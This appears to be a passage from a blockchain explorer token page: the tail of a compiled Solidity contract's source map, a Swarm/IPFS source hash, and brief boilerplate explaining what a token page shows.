:::0;:22:::1;::::0;;-1:-1:-1;;;12237:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;12193:7;;12237:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12227:4;12232:1;12227:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12227:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;12302:15:::1;::::0;12270:62:::1;::::0;12287:4:::1;::::0;12302:15:::1;12320:11:::0;12270:8:::1;:62::i;:::-;12343:15;::::0;:196:::1;::::0;-1:-1:-1;;;12343:196:0;;-1:-1:-1;;;;;12343:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12424:11;;12343:15:::1;::::0;12466:4;;12493::::1;::::0;12513:15:::1;::::0;12343:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5417:6:0;:14;;-1:-1:-1;;;;5417:14:0;;;-1:-1:-1;;;;12064:483:0:o;12724:92::-;12781:10;;:27;;-1:-1:-1;;;;;12781:10:0;;;;:27;;;;;12801:6;;12781:10;:27;:10;:27;12801:6;12781:10;:27;;;;;;;;;;;;;;;;;;;7073:253;-1:-1:-1;;;;;7182:15:0;;;;;;:9;:15;;;;;;:32;;7202:11;7182:19;:32::i;:::-;-1:-1:-1;;;;;7164:15:0;;;;;;;:9;:15;;;;;;:50;;;;7241:13;;;;;;;:30;;7259:11;7241:17;:30::i;:::-;-1:-1:-1;;;;;7225:13:0;;;;;;;:9;:13;;;;;;;:46;;;;7287:31;;;;;;;;;;7306:11;1231:25:1;;1219:2;1204:18;;1085:177;1434:246:0;1492:7;1516:1;1521;1516:6;1512:47;;-1:-1:-1;1546:1:0;1539:8;;1512:47;1569:9;1581:5;1585:1;1581;:5;:::i;:::-;1569:17;-1:-1:-1;1614:1:0;1605:5;1609:1;1569:17;1605:5;:::i;:::-;:10;1597:56;;;;-1:-1:-1;;;1597:56:0;;12839:2:1;1597:56:0;;;12821:21:1;12878:2;12858:18;;;12851:30;12917:34;12897:18;;;12890:62;-1:-1:-1;;;12968:18:1;;;12961:31;13009:19;;1597:56:0;12637:397:1;1597:56:0;1671:1;1434:246;-1:-1:-1;;;1434:246:0:o;1688:132::-;1746:7;1773:39;1777:1;1780;1773:39;;;;;;;;;;;;;;;;;:3;:39::i;11956:100::-;12013:7;12042:1;12038;:5;12037:11;;12047:1;12037:11;;;-1:-1:-1;12045:1:0;11956:100;-1:-1:-1;11956:100:0:o;1092:136::-;1150:7;1177:43;1181:1;1184;1177:43;;;;;;;;;;;;;;;;;:3;:43::i;10887:301::-;11040:15;11057:47;11075:4;11081:11;11094:9;11057:17;:47::i;:::-;11040:64;-1:-1:-1;11115:65:0;11135:4;11141:2;11040:64;11153:26;:11;11169:9;11153:15;:26::i;:::-;11115:19;:65::i;:::-;11029:159;10887:301;;;;:::o;905:179::-;963:7;;995:5;999:1;995;:5;:::i;:::-;983:17;;1024:1;1019;:6;;1011:46;;;;-1:-1:-1;;;1011:46:0;;13241:2:1;1011:46:0;;;13223:21:1;13280:2;13260:18;;;13253:30;13319:29;13299:18;;;13292:57;13366:18;;1011:46:0;13039:351:1;1828:205:0;1930:7;1965:12;1958:5;1950:28;;;;-1:-1:-1;;;1950:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1989:9:0;2001:5;2005:1;2001;:5;:::i;11531:415::-;11677:10;;11631:7;;;;-1:-1:-1;;;;;11677:10:0;;;11668:19;;;;:63;;11704:10;;:27;;11719:11;11704:14;:27::i;:::-;11668:63;;;11690:11;11668:63;11651:80;-1:-1:-1;11746:13:0;;11742:172;;11821:4;11803:24;;;;:9;:24;;;;;;:39;;11832:9;11803:28;:39::i;:::-;11794:4;11776:24;;;;:9;:24;;;;;;;:66;;;;11862:40;;-1:-1:-1;;;;;11862:40:0;;;;;;;11892:9;1231:25:1;;1219:2;1204:18;;1085:177;11862:40:0;;;;;;;;11742:172;11931:7;11531:415;-1:-1:-1;;;;11531:415:0:o;11196:327::-;-1:-1:-1;;;;;11375:15:0;;;;;;:9;:15;;;;;;:31;;11395:10;11375:19;:31::i;:::-;-1:-1:-1;;;;;11357:15:0;;;;;;;:9;:15;;;;;;:49;;;;11433:13;;;;;;;:32;;11451:13;11433:17;:32::i;:::-;-1:-1:-1;;;;;11417:13:0;;;;;;;:9;:13;;;;;;;:48;;;;11483:32;;;;;;;;;;11501:13;1231:25:1;;1219:2;1204:18;;1085:177;11483:32:0;;;;;;;;11196:327;;;;:::o;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;492:70;437:131;:::o;573:315::-;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;878:2;863:18;;;;850:32;;-1:-1:-1;;;573:315:1:o;1267:456::-;1344:6;1352;1360;1413:2;1401:9;1392:7;1388:23;1384:32;1381:52;;;1429:1;1426;1419:12;1381:52;1468:9;1455:23;1487:31;1512:5;1487:31;:::i;:::-;1537:5;-1:-1:-1;1594:2:1;1579:18;;1566:32;1607:33;1566:32;1607:33;:::i;:::-;1267:456;;1659:7;;-1:-1:-1;;;1713:2:1;1698:18;;;;1685:32;;1267:456::o;1917:247::-;1976:6;2029:2;2017:9;2008:7;2004:23;2000:32;1997:52;;;2045:1;2042;2035:12;1997:52;2084:9;2071:23;2103:31;2128:5;2103:31;:::i;2377:388::-;2445:6;2453;2506:2;2494:9;2485:7;2481:23;2477:32;2474:52;;;2522:1;2519;2512:12;2474:52;2561:9;2548:23;2580:31;2605:5;2580:31;:::i;:::-;2630:5;-1:-1:-1;2687:2:1;2672:18;;2659:32;2700:33;2659:32;2700:33;:::i;:::-;2752:7;2742:17;;;2377:388;;;;;:::o;2770:127::-;2831:10;2826:3;2822:20;2819:1;2812:31;2862:4;2859:1;2852:15;2886:4;2883:1;2876:15;2902:416;2991:1;3028:5;2991:1;3042:270;3063:7;3053:8;3050:21;3042:270;;;3122:4;3118:1;3114:6;3110:17;3104:4;3101:27;3098:53;;;3131:18;;:::i;:::-;3181:7;3171:8;3167:22;3164:55;;;3201:16;;;;3164:55;3280:22;;;;3240:15;;;;3042:270;;;3046:3;2902:416;;;;;:::o;3323:806::-;3372:5;3402:8;3392:80;;-1:-1:-1;3443:1:1;3457:5;;3392:80;3491:4;3481:76;;-1:-1:-1;3528:1:1;3542:5;;3481:76;3573:4;3591:1;3586:59;;;;3659:1;3654:130;;;;3566:218;;3586:59;3616:1;3607:10;;3630:5;;;3654:130;3691:3;3681:8;3678:17;3675:43;;;3698:18;;:::i;:::-;-1:-1:-1;;3754:1:1;3740:16;;3769:5;;3566:218;;3868:2;3858:8;3855:16;3849:3;3843:4;3840:13;3836:36;3830:2;3820:8;3817:16;3812:2;3806:4;3803:12;3799:35;3796:77;3793:159;;;-1:-1:-1;3905:19:1;;;3937:5;;3793:159;3984:34;4009:8;4003:4;3984:34;:::i;:::-;4054:6;4050:1;4046:6;4042:19;4033:7;4030:32;4027:58;;;4065:18;;:::i;:::-;4103:20;;3323:806;-1:-1:-1;;;3323:806:1:o;4134:140::-;4192:5;4221:47;4262:4;4252:8;4248:19;4242:4;4221:47;:::i;4279:168::-;4352:9;;;4383;;4400:15;;;4394:22;;4380:37;4370:71;;4421:18;;:::i;4452:356::-;4654:2;4636:21;;;4673:18;;;4666:30;4732:34;4727:2;4712:18;;4705:62;4799:2;4784:18;;4452:356::o;5165:251::-;5235:6;5288:2;5276:9;5267:7;5263:23;5259:32;5256:52;;;5304:1;5301;5294:12;5256:52;5336:9;5330:16;5355:31;5380:5;5355:31;:::i;6342:306::-;6430:6;6438;6446;6499:2;6487:9;6478:7;6474:23;6470:32;6467:52;;;6515:1;6512;6505:12;6467:52;6544:9;6538:16;6528:26;;6594:2;6583:9;6579:18;6573:25;6563:35;;6638:2;6627:9;6623:18;6617:25;6607:35;;6342:306;;;;;:::o;6932:277::-;6999:6;7052:2;7040:9;7031:7;7027:23;7023:32;7020:52;;;7068:1;7065;7058:12;7020:52;7100:9;7094:16;7153:5;7146:13;7139:21;7132:5;7129:32;7119:60;;7175:1;7172;7165:12;10408:125;10473:9;;;10494:10;;;10491:36;;;10507:18;;:::i;10893:135::-;10932:3;10953:17;;;10950:43;;10973:18;;:::i;:::-;-1:-1:-1;11020:1:1;11009:13;;10893:135::o;11033:128::-;11100:9;;;11121:11;;;11118:37;;;11135:18;;:::i;11298:127::-;11359:10;11354:3;11350:20;11347:1;11340:31;11390:4;11387:1;11380:15;11414:4;11411:1;11404:15;11430:980;11692:4;11740:3;11729:9;11725:19;11771:6;11760:9;11753:25;11797:2;11835:6;11830:2;11819:9;11815:18;11808:34;11878:3;11873:2;11862:9;11858:18;11851:31;11902:6;11937;11931:13;11968:6;11960;11953:22;12006:3;11995:9;11991:19;11984:26;;12045:2;12037:6;12033:15;12019:29;;12066:1;12076:195;12090:6;12087:1;12084:13;12076:195;;;12155:13;;-1:-1:-1;;;;;12151:39:1;12139:52;;12246:15;;;;12211:12;;;;12187:1;12105:9;12076:195;;;-1:-1:-1;;;;;;;12327:32:1;;;;12322:2;12307:18;;12300:60;-1:-1:-1;;;12391:3:1;12376:19;12369:35;12288:3;11430:980;-1:-1:-1;;;11430:980:1:o;12415:217::-;12455:1;12481;12471:132;;12525:10;12520:3;12516:20;12513:1;12506:31;12560:4;12557:1;12550:15;12588:4;12585:1;12578:15;12471:132;-1:-1:-1;12617:9:1;;12415:217::o

Swarm Source

ipfs://1eaddff8ba0718186015b9ad3a26efbda3da440f933ef2e61af83cbf86e59289
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.